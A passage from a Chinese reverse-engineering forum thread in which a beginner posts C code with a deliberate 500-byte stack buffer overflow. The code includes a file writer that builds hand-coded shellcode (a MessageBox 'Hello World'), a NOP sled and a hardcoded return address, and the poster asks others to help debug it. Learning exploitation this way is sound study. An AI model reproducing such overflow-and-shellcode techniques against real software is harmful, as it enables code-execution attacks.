能力值:
( LV2,RANK:10 )
|
-
-
3 楼
不好意思,昨天电脑重装,没看到帖子,我的代码如下
OverFlow函数是读入一个文件并故意溢出,
FileWrite函数是写入可溢出的文件,地址是硬编码,不知道是不是每台机子都能运行成功
vc++6 sp6 release 我是新手,刚刚了解溢出还不太懂,希望帮忙看看问题在哪里
void OverFlow()
{
FILE *f;
char chBuf[500] = {0};
f = fopen("test.dat","rb");
if (!f)
return;
fread(chBuf,504,1,f);
}
void FileWrite()
{
FILE *f;
char chSellCode[] = {
0x68, 0x6C, 0x6C, 0x00, 0x00,
0x68, 0x33, 0x32, 0x2E, 0x64,
0x68, 0x75, 0x73, 0x65, 0x72,
0x68, 0x6F, 0x78, 0x41, 0x00,
0x68, 0x61, 0x67, 0x65, 0x42,
0x68, 0x4D, 0x65, 0x73, 0x73,
0x6A, 0x00,
0x68, 0x72, 0x6C, 0x64, 0x21,
0x68, 0x6F, 0x20, 0x57, 0x6F,
0x68, 0x48, 0x65, 0x6C, 0x6C,
0x8D, 0x5C, 0x24, 0x1C,
0x53,
0xE8, 0xB2, 0x1F, 0x6D, 0x7C,
0x0B, 0xC0,
0x75, 0x01,
0xC3,
0x8D, 0x5C, 0x24, 0x10,
0x53,
0x50,
0xE8, 0xD6, 0xAF, 0x6D, 0x7C,
0x0B, 0xC0,
0x75, 0x01,
0xC3,
0x8D, 0x1C, 0x24,
0x6A, 0x00,
0x6A, 0x00,
0x53,
0x6A, 0x00,
0xFF, 0xD0
};
int i;
f = fopen("test.dat","wb");
fseek(f,0,SEEK_SET);
for (i = 0; i < sizeof(chSellCode); i++)
fputc(chSellCode[i],f);
for (i = 0; i < 500-sizeof(chSellCode); i++)
fputc(0x90,f);
fwrite("\x8c\xfd\x12\x00",4,1,f);
fclose(f);
}
int main(int argc, char* argv[])
{
// FileWrite();
OverFlow();
printf("Hello World!\n");
return 0;
}
|
能力值:
( LV2,RANK:10 )
|
-
-
5 楼
呵,CreateRemoteThread是用到注入的吧,我这个测试程序是本身就故意留个溢出漏洞,
我还是打包传一下文件上来吧,希望大侠们可以帮忙用od跟下,指导一下
晕,权限不够不能上传,可以从下面的地址下载
http://www.live-share.com/files/279526/____.rar.html
|